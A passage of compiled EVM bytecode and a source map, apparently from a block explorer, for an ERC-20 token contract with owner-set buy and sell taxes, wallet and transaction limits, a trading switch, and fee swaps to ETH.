1806060016040528060288152602001611827602891396001600160a01b038a1660009081526015602090815260408083203384529091529020549190610f0e565b61088e565b5060015b9392505050565b6000546001600160a01b031633146105495760405162461bcd60e51b8152600401610540906116bf565b60405180910390fd5b6006805460ff60a01b1916600160a01b179055565b6000546001600160a01b031633146105885760405162461bcd60e51b8152600401610540906116bf565b600080546001600160a01b03191681556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a1565b6000546001600160a01b031633146105f75760405162461bcd60e51b8152600401610540906116bf565b600061061a61271061061486600154610f3a90919063ffffffff16565b90610f46565b9050600061063961271061061486600154610f3a90919063ffffffff16565b9050600061065861271061061486600154610f3a90919063ffffffff16565b601784905560188390556019819055905060006106846103e8610614600561067e61043b565b90610f3a565b90508084101580156106965750808310155b80156106a25750808210155b6107055760405162461bcd60e51b815260206004820152602e60248201527f4d61782054587320616e64204d61782057616c6c65742063616e6e6f7420626560448201526d206c657373207468616e202e352560901b6064820152608401610540565b50505050505050565b60006104313384846109be565b6000546001600160a01b031633146107455760405162461bcd60e51b8152600401610540906116bf565b6009879055600a869055600c859055600b849055600d839055600e829055600f819055601054610776906001610f46565b600d54111580156107965750601054610790906001610f46565b600e5411155b80156107b157506010546107ab906001610f46565b600f5411155b6107055760405162461bcd60e51b815260206004820152602a60248201527f62757954617820616e642073656c6c5461782063616e6e6f74206265206d6f7260448201526965207468616e2032302560b01b6064820152608401610540565b6000546001600160a01b0316331461083a5760405162461bcd60e51b8152600401610540906116bf565b600080546001600160a01b0319166001600160a01b0383169081179091556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a150565b6001600160a01b0383166108f05760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610540565b6001600160a01b0382166109515760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610540565b6001600160a01b0383811660008181526015602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600061050f82846116f5565b6001600160a01b038316610a225760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610540565b6001600160a01b038216610a845760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610540565b6001600160a01b038316600090815260146020526040902054811115610b065760405162461bcd60e51b815260206004820152603160248201527f596f752061726520747279696e6720746f207472616e73666572206d6f7265206044820152707468616e20796f75722062616c616e636560781b6064820152608401610540565b6001600160a01b03831660009081526016602052604090205460ff16158015610b4857506001600160a01b03821660009081526016602052604090205460ff16155b15610b9557600654600160a01b900460ff16610b955760405162461bcd60e51b815260206004820152600c60248201526b1d1c985919515b98589b195960a21b6044820152606401610540565b6001600160a01b03831660009081526016602052604090205460ff16158015610bd757506001600160a01b03821660009081526016602052604090205460ff16155b8015610bf157506006546001600160a01b03838116911614155b8015610c0857506001600160a01b03821661dead14155b15610c81576019546001600160a01b038316600090815260146020526040902054610c339083610f52565b1115610c815760405162461bcd60e51b815260206004820152601e60248201527f45786365656473206d6178696d756d2077616c6c657420616d6f756e742e00006044820152606401610540565b6006546001600160a01b03848116911614610d225760185481111580610cbf57506001600160a01b03831660009081526016602052604090205460ff165b80610ce257506001600160a01b03821660009081526016602052604090205460ff165b610d225760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b6044820152606401610540565b60175481111580610d4b57506001600160a01b03831660009081526016602052604090205460ff165b80610d6e57506001600160a01b03821660009081526016602052604090205460ff165b610dae5760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b6044820152606401610540565b6006546001600160a01b038381169116148015610de457506001600160a01b03831660009081526016602052604090205460ff16155b15610e0257600160026000828254610dfc9190611708565b90915550505b610e0d838383610f5e565b15610e2357610e1d600754611018565b60006002555b6001600160a01b038316600090815260146020526040902054610e4690826109b2565b6001600160a01b038416600090815260146020908152604080832093909355601690529081205460ff1615610e7b5781610e86565b610e86848484611195565b6001600160a01b038416600090815260146020526040902054909150610eac9082610f52565b6001600160a01b0380851660008181526014602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610f009085815260200190565b60405180910390a350505050565b60008184841115610f325760405162461bcd60e51b8152600401610540919061151e565b505050900390565b600061050f828461171b565b600061050f8284611732565b600061050f8284611708565b6008546007543060009081526014602052604081205460035491938510159211159060ff16158015610f995750600654600160a81b900460ff165b8015610fae5750600654600160a01b900460ff165b8015610fb75750815b8015610fdc57506001600160a01b03861660009081526016602052604090205460ff16155b8015610ff557506006546001600160a01b038681169116145b8015611005575060045460025410155b801561100e5750805b9695505050505050565b6003805460ff19166001908117909155600b54600a546009546000936110529360029361067e93919261104c928391610f52565b90610f52565b9050600061106f8261061460095486610f3a90919063ffffffff16565b9050600061107d84836109b2565b905047611089826112c5565b600061109547836109b2565b905060006110b86110b1600954886109b290919063ffffffff16565b8390610f46565b905060006110d160095483610f3a90919063ffffffff16565b905080156110e3576110e3868261141f565b600a546000906110f89061067e856002610f3a565b9050801561113c576012546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561113a573d6000803e3d6000fd5b505b47801561117f576011546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561117d573d6000803e3d6000fd5b505b50506003805460ff191690555050505050505050565b6001600160a01b03821660009081526016602052604081205460ff16156111bf575060175461050f565b60006111cb85856114d3565b11156112be5760006111ee6111e086866114d3565b60105461067e908690610f46565b3060009081526014602052604090205490915061120b9082610f52565b30600081815260146020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061125c9085815260200190565b60405180910390a36000600c541180156112805750600c5461127e86866114d3565b115b156112ac576112ac3061dead6112a7600c5461067e60105489610f4690919063ffffffff16565b6109be565b6112b683826109b2565b91505061050f565b5092915050565b60408051600280825260608201835260009260208301908036833701905050905030816000815181106112fa576112fa611754565b6001600160a01b03928316602091820292909201810191909152600554604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611353573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611377919061176a565b8160018151811061138a5761138a611754565b6001600160a01b0392831660209182029290920101526005546113b0913091168461088e565b60055460405163791ac94760e01b81526001600160a01b039091169063791ac947906113e9908590600090869030904290600401611787565b600060405180830381600087803b15801561140357600080fd5b505af1158015611417573d6000803e3d6000fd5b505050505050565b6005546114379030906001600160a01b03168461088e565b60055460135460405163f305d71960e01b81523060048201526024810185905260006044820181905260648201526001600160a01b0391821660848201524260a482015291169063f305d71990839060c40160606040518083038185885af11580156114a7573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906114cc91906117f8565b5050505050565b6006546000906001600160a01b03908116908316036114f55750600e54610435565b6006546001600160a01b03908116908416036115145750600d54610435565b50600f5492915050565b600060208083528351808285015260005b8181101561154b5785810183015185820160400152820161152f565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461158157600080fd5b50565b6000806040838503121561159757600080fd5b82356115a28161156c565b946020939093013593505050565b6000806000606084860312156115c557600080fd5b83356115d08161156c565b925060208401356115e08161156c565b929592945050506040919091013590565b60006020828403121561160357600080fd5b813561050f8161156c565b60008060006060848603121561162357600080fd5b505081359360208301359350604090920135919050565b600080600080600080600060e0888a03121561165557600080fd5b505085359760208701359750604087013596606081013596506080810135955060a0810135945060c0013592509050565b6000806040838503121561169957600080fd5b82356116a48161156c565b915060208301356116b48161156c565b809150509250929050565b60208082526006908201526510a7aba722a960d11b604082015260600190565b634e487b7160e01b600052601160045260246000fd5b81810381811115610435576104356116df565b80820180821115610435576104356116df565b8082028115828204841417610435576104356116df565b60008261174f57634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561177c57600080fd5b815161050f8161156c565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156117d75784516001600160a01b0316835293830193918301916001016117b2565b50506001600160a01b03969096166060850152505050608001529392505050565b60008060006060848603121561180d57600080fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d12526514286fd5e59fb321fa1b9c5936acc30ddc2493cdc742deb0bae4656fd64736f6c63430008130033
Deployed Bytecode Sourcemap
3828:9918:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6204:67;;;;;;;;;;-1:-1:-1;6264:5:0;;;;;;;;;;;;-1:-1:-1;;;6264:5:0;;;;6204:67;;;;;;;:::i;:::-;;;;;;;;10676:133;;;;;;;;;;-1:-1:-1;10676:133:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;10676:133:0;1023:187:1;10815:127:0;;;;;;;;;;;;;:::i;:::-;;;1361:25:1;;;1349:2;1334:18;10815:127:0;1215:177:1;12233:309:0;;;;;;;;;;-1:-1:-1;12233:309:0;;;;;:::i;:::-;;:::i;5377:61::-;;;;;;;;;;;;;;;;13129:65;;;;;;;;;;;;;:::i;:::-;;1789:87;;;;;;;;;;-1:-1:-1;1789:87:0;;;;;:::i;:::-;1844:4;1869:5;-1:-1:-1;;;;;1858:16:0;;;1869:5;;1858:16;;1789:87;10948:67;;;;;;;;;;-1:-1:-1;10948:67:0;;4067:1;2252:36:1;;2240:2;2225:18;10948:67:0;2110:184:1;6354:103:0;;;;;;;;;;-1:-1:-1;6354:103:0;;;;;:::i;:::-;-1:-1:-1;;;;;6437:18:0;6420:7;6437:18;;;:9;:18;;;;;;;6354:103;1882:106;;;;;;;;;;;;;:::i;5445:55::-;;;;;;;;;;;;;;;;6608:78;;;;;;;;;;-1:-1:-1;6660:7:0;6678:5;-1:-1:-1;;;;;6678:5:0;6608:78;;;-1:-1:-1;;;;;2463:32:1;;;2445:51;;2433:2;2418:18;6608:78:0;2299:203:1;5507:56:0;;;;;;;;;;;;;;;;6277:71;;;;;;;;;;-1:-1:-1;6339:7:0;;;;;;;;;;;;-1:-1:-1;;;6339:7:0;;;;6277:71;;13200:543;;;;;;;;;;-1:-1:-1;13200:543:0;;;;;:::i;:::-;;:::i;4335:19::-;;;;;;;;;;-1:-1:-1;4335:19:0;;;;-1:-1:-1;;;;;4335:19:0;;;6463:139;;;;;;;;;;-1:-1:-1;6463:139:0;;;;;:::i;:::-;;:::i;7730:532::-;;;;;;;;;;-1:-1:-1;7730:532:0;;;;;:::i;:::-;;:::i;11025:127::-;;;;;;;;;;-1:-1:-1;11025:127:0;;;;;:::i;:::-;-1:-1:-1;;;;;11123:18:0;;;11106:7;11123:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;11025:127;1994:111;;;;;;;;;;-1:-1:-1;1994:111:0;;;;;:::i;:::-;;:::i;10676:133::-;10751:4;10758:37;10767:10;10779:7;10788:6;10758:8;:37::i;:::-;-1:-1:-1;10803:4:0;10676:133;;;;;:::o;10815:127::-;6437:9;:18;;;;4108:42;10868:7;6437:18;;;;;10885:7;;10868;;10885:55;;6437:18;;10885:28;;:7;:11;:28::i;:::-;:32;;:55::i;:::-;10878:62;;10815:127;:::o;12233:309::-;12331:4;12348:36;12358:6;12366:9;12377:6;12348:9;:36::i;:::-;12395:117;12404:6;12412:10;12424:87;12460:6;12424:87;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;12424:19:0;;;;;;:11;:19;;;;;;;;12444:10;12424:31;;;;;;;;;:87;:35;:87::i;:::-;12395:8;:117::i;:::-;-1:-1:-1;12530:4:0;12233:309;;;;;;:::o;13129:65::-;1844:4;1869:5;-1:-1:-1;;;;;1869:5:0;1756:10;1858:16;1740:38;;;;-1:-1:-1;;;1740:38:0;;;;;;;:::i;:::-;;;;;;;;;13173:12:::1;:19:::0;;-1:-1:-1;;;;13173:19:0::1;-1:-1:-1::0;;;13173:19:0::1;::::0;;13129:65::o;1882:106::-;1844:4;1869:5;-1:-1:-1;;;;;1869:5:0;1756:10;1858:16;1740:38;;;;-1:-1:-1;;;1740:38:0;;;;;;;:::i;:::-;1945:1:::1;1929:18:::0;;-1:-1:-1;;;;;;1929:18:0::1;::::0;;1954:32:::1;::::0;2445:51:1;;;1954:32:0::1;::::0;2433:2:1;2418:18;1954:32:0::1;;;;;;;1882:106::o:0;13200:543::-;1844:4;1869:5;-1:-1:-1;;;;;1869:5:0;1756:10;1858:16;1740:38;;;;-1:-1:-1;;;1740:38:0;;;;;;;:::i;:::-;13306:13:::1;13322:28;13344:5;13322:17;13334:4;13322:7;;:11;;:17;;;;:::i;:::-;:21:::0;::::1;:28::i;:::-;13306:44;;13352:19;13374:29;13397:5;13374:18;13386:5;13374:7;;:11;;:18;;;;:::i;:29::-;13352:51;;13405:17;13425:31;13450:5;13425:20;13437:7;13425;;:11;;:20;;;;:::i;:31::-;13467:18;:26:::0;;;13495:12:::1;:26:::0;;;13523:13:::1;:25:::0;;;13405:51;-1:-1:-1;;13575:30:0::1;13600:4;13575:20;13593:1;13575:13;:11;:13::i;:::-;:17:::0;::::1;:20::i;:30::-;13559:46;;13633:5;13624;:14;;:38;;;;;13657:5;13642:11;:20;;13624:38;:60;;;;;13679:5;13666:9;:18;;13624:60;13616:119;;;::::0;-1:-1:-1;;;13616:119:0;;4614:2:1;13616:119:0::1;::::0;::::1;4596:21:1::0;4653:2;4633:18;;;4626:30;4692:34;4672:18;;;4665:62;-1:-1:-1;;;4743:18:1;;;4736:44;4797:19;;13616:119:0::1;4412:410:1::0;13616:119:0::1;13295:448;;;;13200:543:::0;;;:::o;6463:139::-;6541:4;6548:40;6558:10;6570:9;6581:6;6548:9;:40::i;7730:532::-;1844:4;1869:5;-1:-1:-1;;;;;1869:5:0;1756:10;1858:16;1740:38;;;;-1:-1:-1;;;1740:38:0;;;;;;;:::i;:::-;7927:12:::1;:25:::0;;;7954:6:::1;:19:::0;;;7975:13:::1;:21:::0;;;7998:14:::1;:36:::0;;;8036:6:::1;:15:::0;;;8053:7:::1;:15:::0;;;8070:11:::1;:20:::0;;;8119:11:::1;::::0;:18:::1;::::0;-1:-1:-1;8119:15:0::1;:18::i;:::-;8109:6;;:28;;:61;;;;-1:-1:-1::0;8152:11:0::1;::::0;:18:::1;::::0;8168:1:::1;8152:15;:18::i;:::-;8141:7;;:29;;8109:61;:98;;;;-1:-1:-1::0;8189:11:0::1;::::0;:18:::1;::::0;8205:1:::1;8189:15;:18::i;:::-;8174:11;;:33;;8109:98;8101:153;;;::::0;-1:-1:-1;;;8101:153:0;;5029:2:1;8101:153:0::1;::::0;::::1;5011:21:1::0;5068:2;5048:18;;;5041:30;5107:34;5087:18;;;5080:62;-1:-1:-1;;;5158:18:1;;;5151:40;5208:19;;8101:153:0::1;4827:406:1::0;1994:111:0;1844:4;1869:5;-1:-1:-1;;;;;1869:5:0;1756:10;1858:16;1740:38;;;;-1:-1:-1;;;1740:38:0;;;;;;;:::i;:::-;2060:5:::1;:11:::0;;-1:-1:-1;;;;;;2060:11:0::1;-1:-1:-1::0;;;;;2060:11:0;::::1;::::0;;::::1;::::0;;;2078:25:::1;::::0;2445:51:1;;;2078:25:0::1;::::0;2433:2:1;2418:18;2078:25:0::1;;;;;;;1994:111:::0;:::o;11158:335::-;-1:-1:-1;;;;;11251:19:0;;11243:68;;;;-1:-1:-1;;;11243:68:0;;5656:2:1;11243:68:0;;;5638:21:1;5695:2;5675:18;;;5668:30;5734:34;5714:18;;;5707:62;-1:-1:-1;;;5785:18:1;;;5778:34;5829:19;;11243:68:0;5454:400:1;11243:68:0;-1:-1:-1;;;;;11330:21:0;;11322:68;;;;-1:-1:-1;;;11322:68:0;;6061:2:1;11322:68:0;;;6043:21:1;6100:2;6080:18;;;6073:30;6139:34;6119:18;;;6112:62;-1:-1:-1;;;6190:18:1;;;6183:32;6232:19;;11322:68:0;5859:398:1;11322:68:0;-1:-1:-1;;;;;11401:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;11453:32;;1361:25:1;;;11453:32:0;;1334:18:1;11453:32:0;;;;;;;11158:335;;;:::o;442:98::-;500:7;527:5;531:1;527;:5;:::i;8268:1538::-;-1:-1:-1;;;;;8365:20:0;;8357:70;;;;-1:-1:-1;;;8357:70:0;;6729:2:1;8357:70:0;;;6711:21:1;6768:2;6748:18;;;6741:30;6807:34;6787:18;;;6780:62;-1:-1:-1;;;6858:18:1;;;6851:35;6903:19;;8357:70:0;6527:401:1;8357:70:0;-1:-1:-1;;;;;8446:23:0;;8438:71;;;;-1:-1:-1;;;8438:71:0;;7135:2:1;8438:71:0;;;7117:21:1;7174:2;7154:18;;;7147:30;7213:34;7193:18;;;7186:62;-1:-1:-1;;;7264:18:1;;;7257:33;7307:19;;8438:71:0;6933:399:1;8438:71:0;-1:-1:-1;;;;;6437:18:0;;6420:7;6437:18;;;:9;:18;;;;;;8528:6;:27;;8520:88;;;;-1:-1:-1;;;8520:88:0;;7539:2:1;8520:88:0;;;7521:21:1;7578:2;7558:18;;;7551:30;7617:34;7597:18;;;7590:62;-1:-1:-1;;;7668:18:1;;;7661:47;7725:19;;8520:88:0;7337:413:1;8520:88:0;-1:-1:-1;;;;;8623:29:0;;;;;;:21;:29;;;;;;;;8622:30;:67;;;;-1:-1:-1;;;;;;8657:32:0;;;;;;:21;:32;;;;;;;;8656:33;8622:67;8619:111;;;8699:12;;-1:-1:-1;;;8699:12:0;;;;8691:37;;;;-1:-1:-1;;;8691:37:0;;7957:2:1;8691:37:0;;;7939:21:1;7996:2;7976:18;;;7969:30;-1:-1:-1;;;8015:18:1;;;8008:42;8067:18;;8691:37:0;7755:336:1;8691:37:0;-1:-1:-1;;;;;8744:29:0;;;;;;:21;:29;;;;;;;;8743:30;:67;;;;-1:-1:-1;;;;;;8778:32:0;;;;;;:21;:32;;;;;;;;8777:33;8743:67;:97;;;;-1:-1:-1;8835:4:0;;-1:-1:-1;;;;;8814:26:0;;;8835:4;;8814:26;;8743:97;:127;;;;-1:-1:-1;;;;;;8844:26:0;;4108:42;8844:26;;8743:127;8740:238;;;8928:13;;-1:-1:-1;;;;;8891:20:0;;;;;;:9;:20;;;;;;:32;;8916:6;8891:24;:32::i;:::-;8890:51;;8882:94;;;;-1:-1:-1;;;8882:94:0;;8298:2:1;8882:94:0;;;8280:21:1;8337:2;8317:18;;;8310:30;8376:32;8356:18;;;8349:60;8426:18;;8882:94:0;8096:354:1;8882:94:0;9001:4;;-1:-1:-1;;;;;8991:14:0;;;9001:4;;8991:14;8988:142;;9025:12;;9015:6;:22;;:55;;;-1:-1:-1;;;;;;9041:29:0;;;;;;:21;:29;;;;;;;;9015:55;:91;;;-1:-1:-1;;;;;;9074:32:0;;;;;;:21;:32;;;;;;;;9015:91;9007:121;;;;-1:-1:-1;;;9007:121:0;;8657:2:1;9007:121:0;;;8639:21:1;8696:2;8676:18;;;8669:30;-1:-1:-1;;;8715:18:1;;;8708:47;8772:18;;9007:121:0;8455:341:1;9007:121:0;9158:18;;9148:6;:28;;:61;;;-1:-1:-1;;;;;;9180:29:0;;;;;;:21;:29;;;;;;;;9148:61;:97;;;-1:-1:-1;;;;;;9213:32:0;;;;;;:21;:32;;;;;;;;9148:97;9140:127;;;;-1:-1:-1;;;9140:127:0;;8657:2:1;9140:127:0;;;8639:21:1;8696:2;8676:18;;;8669:30;-1:-1:-1;;;8715:18:1;;;8708:47;8772:18;;9140:127:0;8455:341:1;9140:127:0;9295:4;;-1:-1:-1;;;;;9282:17:0;;;9295:4;;9282:17;:51;;;;-1:-1:-1;;;;;;9304:29:0;;;;;;:21;:29;;;;;;;;9303:30;9282:51;9279:84;;;9359:1;9335:12;;:26;;;;;;;:::i;:::-;;;;-1:-1:-1;;9279:84:0;9376:47;9397:6;9405:9;9416:6;9376:20;:47::i;:::-;9373:110;;;9425:29;9439:14;;9425:13;:29::i;:::-;9479:1;9456:12;:25;9373:110;-1:-1:-1;;;;;9513:17:0;;;;;;:9;:17;;;;;;:29;;9535:6;9513:21;:29::i;:::-;-1:-1:-1;;;;;9493:17:0;;;;;;:9;:17;;;;;;;;:49;;;;9579:21;:29;;;;;;;;9578:30;:87;;9659:6;9578:87;;;9611:45;9630:6;9638:9;9649:6;9611:18;:45::i;:::-;-1:-1:-1;;;;;9699:20:0;;;;;;:9;:20;;;;;;9553:112;;-1:-1:-1;9699:40:0;;9553:112;9699:24;:40::i;:::-;-1:-1:-1;;;;;9676:20:0;;;;;;;:9;:20;;;;;;;:63;;;;9755:43;;;;;;;;;;9783:14;1361:25:1;;1349:2;1334:18;;1215:177;9755:43:0;;;;;;;;8346:1460;8268:1538;;;:::o;866:240::-;986:7;1047:12;1039:6;;;;1031:29;;;;-1:-1:-1;;;1031:29:0;;;;;;;;:::i;:::-;-1:-1:-1;;;1082:5:0;;;866:240::o;548:98::-;606:7;633:5;637:1;633;:5;:::i;654:98::-;712:7;739:5;743:1;739;:5;:::i;336:98::-;394:7;421:5;425:1;421;:5;:::i;9812:418::-;9959:16;;10036:14;;10026:4;9916;6437:18;;;:9;:18;;;;;;10069:8;;9916:4;;9949:26;;;;-1:-1:-1;10008:42:0;;10069:8;;10068:9;:24;;;;-1:-1:-1;10081:11:0;;-1:-1:-1;;;10081:11:0;;;;10068:24;:40;;;;-1:-1:-1;10096:12:0;;-1:-1:-1;;;10096:12:0;;;;10068:40;:52;;;;;10112:8;10068:52;:86;;;;-1:-1:-1;;;;;;10125:29:0;;;;;;:21;:29;;;;;;;;10124:30;10068:86;:107;;;;-1:-1:-1;10171:4:0;;-1:-1:-1;;;;;10158:17:0;;;10171:4;;10158:17;10068:107;:136;;;;;10195:9;;10179:12;;:25;;10068:136;:154;;;;;10208:14;10068:154;10061:161;9812:418;-1:-1:-1;;;;;;9812:418:0:o;6692:1032::-;4595:8;:15;;-1:-1:-1;;4595:15:0;4606:4;4595:15;;;;;;6822:14:::1;::::0;6810:6:::1;::::0;6786:12:::1;::::0;4595:8;;6785:60:::1;::::0;6843:1:::1;::::0;6786:51:::1;::::0;6822:14;;6786:31:::1;::::0;;;:16:::1;:19::i;:::-;:23:::0;::::1;:31::i;6785:60::-;6762:83;;6856:32;6891:42;6920:12;6891:24;6902:12;;6891:6;:10;;:24;;;;:::i;:42::-;6856:77:::0;-1:-1:-1;6944:14:0::1;6961:36;:6:::0;6856:77;6961:10:::1;:36::i;:::-;6944:53:::0;-1:-1:-1;7033:21:0::1;7065:24;6944:53:::0;7065:16:::1;:24::i;:::-;7100:20;7123:41;:21;7149:14:::0;7123:25:::1;:41::i;:::-;7100:64;;7175:19;7196:48;7213:30;7230:12;;7213;:16;;:30;;;;:::i;:::-;7196:12:::0;;:16:::1;:48::i;:::-;7175:69;;7255:29;7287;7303:12;;7287:11;:15;;:29;;;;:::i;:::-;7255:61:::0;-1:-1:-1;7330:34:0;;7327:103:::1;;7366:61;7379:24;7405:21;7366:12;:61::i;:::-;7486:6;::::0;7440:20:::1;::::0;7463:30:::1;::::0;:18:::1;:11:::0;7479:1:::1;7463:15;:18::i;:30::-;7440:53:::0;-1:-1:-1;7507:16:0;;7504:65:::1;;7533:10;::::0;7525:42:::1;::::0;-1:-1:-1;;;;;7533:10:0;;::::1;::::0;7525:42;::::1;;;::::0;7554:12;;7533:10:::1;7525:42:::0;7533:10;7525:42;7554:12;7533:10;7525:42;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;7504:65;7605:21;7640:28:::0;;7637:80:::1;;7678:10;::::0;7670:45:::1;::::0;-1:-1:-1;;;;;7678:10:0;;::::1;::::0;7670:45;::::1;;;::::0;7699:15;;7678:10:::1;7670:45:::0;7678:10;7670:45;7699:15;7678:10;7670:45;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;7637:80;-1:-1:-1::0;;4615:8:0;:16;;-1:-1:-1;;4615:16:0;;;-1:-1:-1;;;;;;;;6692:1032:0:o;11499:728::-;-1:-1:-1;;;;;11620:32:0;;11596:7;11620:32;;;:21;:32;;;;;;;;11616:66;;;-1:-1:-1;11662:18:0;;11655:25;;11616:66;11739:1;11695:41;11718:6;11726:9;11695:22;:41::i;:::-;:45;11692:513;;;11752:17;11772:70;11800:41;11823:6;11831:9;11800:22;:41::i;:::-;11783:11;;11772:23;;:6;;:10;:23::i;:70::-;11898:4;11880:24;;;;:9;:24;;;;;;11752:90;;-1:-1:-1;11880:39:0;;11752:90;11880:28;:39::i;:::-;11871:4;11853:24;;;;:9;:24;;;;;;;:66;;;;11935:42;;-1:-1:-1;;;;;11935:42:0;;;;;;;11967:9;1361:25:1;;1349:2;1334:18;;1215:177;11935:42:0;;;;;;;;12015:1;11991:13;;:26;:87;;;;;12065:13;;12021:41;12044:6;12052:9;12021:22;:41::i;:::-;:57;11991:87;11988:177;;;12080:83;12098:4;4108:42;12120;12148:13;;12120:23;12131:11;;12120:6;:10;;:23;;;;:::i;:42::-;12080:9;:83::i;:::-;12182:21;:6;12193:9;12182:10;:21::i;:::-;12175:28;;;;;11692:513;-1:-1:-1;12213:6:0;11499:728;-1:-1:-1;;11499:728:0:o;10236:434::-;10326:16;;;10340:1;10326:16;;;;;;;;10302:21;;10326:16;;;;;;;;;;-1:-1:-1;10326:16:0;10302:40;;10371:4;10353;10358:1;10353:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;10353:23:0;;;:7;;;;;;;;;;:23;;;;10397:6;;:13;;;-1:-1:-1;;;10397:13:0;;;;:6;;;;;:11;;:13;;;;;10353:7;;10397:13;;;;;:6;:13;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10387:4;10392:1;10387:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;10387:23:0;;;:7;;;;;;;;;:23;10453:6;;10421:53;;10438:4;;10453:6;10462:11;10421:8;:53::i;:::-;10485:6;;:177;;-1:-1:-1;;;10485:177:0;;-1:-1:-1;;;;;10485:6:0;;;;:57;;:177;;10557:11;;10485:6;;10599:4;;10626;;10646:15;;10485:177;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10291:379;10236:434;:::o;12548:341::-;12661:6;;12629:53;;12646:4;;-1:-1:-1;;;;;12661:6:0;12670:11;12629:8;:53::i;:::-;12693:6;;12834:16;;12693:188;;-1:-1:-1;;;12693:188:0;;12756:4;12693:188;;;11172:34:1;11222:18;;;11215:34;;;12693:6:0;11265:18:1;;;11258:34;;;11308:18;;;11301:34;-1:-1:-1;;;;;12834:16:0;;;11351:19:1;;;11344:44;12865:15:0;11404:19:1;;;11397:35;12693:6:0;;;:22;;12723:9;;11106:19:1;;12693:188:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;12548:341;;:::o;12895:228::-;13021:4;;12985:7;;-1:-1:-1;;;;;13021:4:0;;;13008:17;;;;13005:38;;-1:-1:-1;13034:7:0;;13027:14;;13005:38;13066:4;;-1:-1:-1;;;;;13066:4:0;;;13056:14;;;;13053:34;;-1:-1:-1;13079:6:0;;13072:13;;13053:34;-1:-1:-1;13104:11:0;;12895:228;;;;:::o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;1858:247::-;1917:6;1970:2;1958:9;1949:7;1945:23;1941:32;1938:52;;;1986:1;1983;1976:12;1938:52;2025:9;2012:23;2044:31;2069:5;2044:31;:::i;2507:316::-;2584:6;2592;2600;2653:2;2641:9;2632:7;2628:23;2624:32;2621:52;;;2669:1;2666;2659:12;2621:52;-1:-1:-1;;2692:23:1;;;2762:2;2747:18;;2734:32;;-1:-1:-1;2813:2:1;2798:18;;;2785:32;;2507:316;-1:-1:-1;2507:316:1:o;2828:592::-;2941:6;2949;2957;2965;2973;2981;2989;3042:3;3030:9;3021:7;3017:23;3013:33;3010:53;;;3059:1;3056;3049:12;3010:53;-1:-1:-1;;3082:23:1;;;3152:2;3137:18;;3124:32;;-1:-1:-1;3203:2:1;3188:18;;3175:32;;3254:2;3239:18;;3226:32;;-1:-1:-1;3305:3:1;3290:19;;3277:33;;-1:-1:-1;3357